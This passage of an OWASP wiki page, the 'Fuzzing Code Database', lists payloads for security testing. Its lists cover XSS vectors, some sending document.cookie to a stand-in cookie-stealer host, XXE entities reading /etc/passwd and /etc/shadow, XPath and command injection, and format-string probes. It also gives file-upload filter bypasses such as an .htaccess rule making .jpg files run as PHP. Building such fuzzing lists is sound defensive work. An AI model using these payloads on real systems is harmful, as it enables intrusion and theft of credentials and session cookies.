HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80068 2010-03-17T20:46:18Z

<p>Adam.muntner: /* Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> %00index.html<br /> ;index.html&lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> &lt;pre&gt;<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br 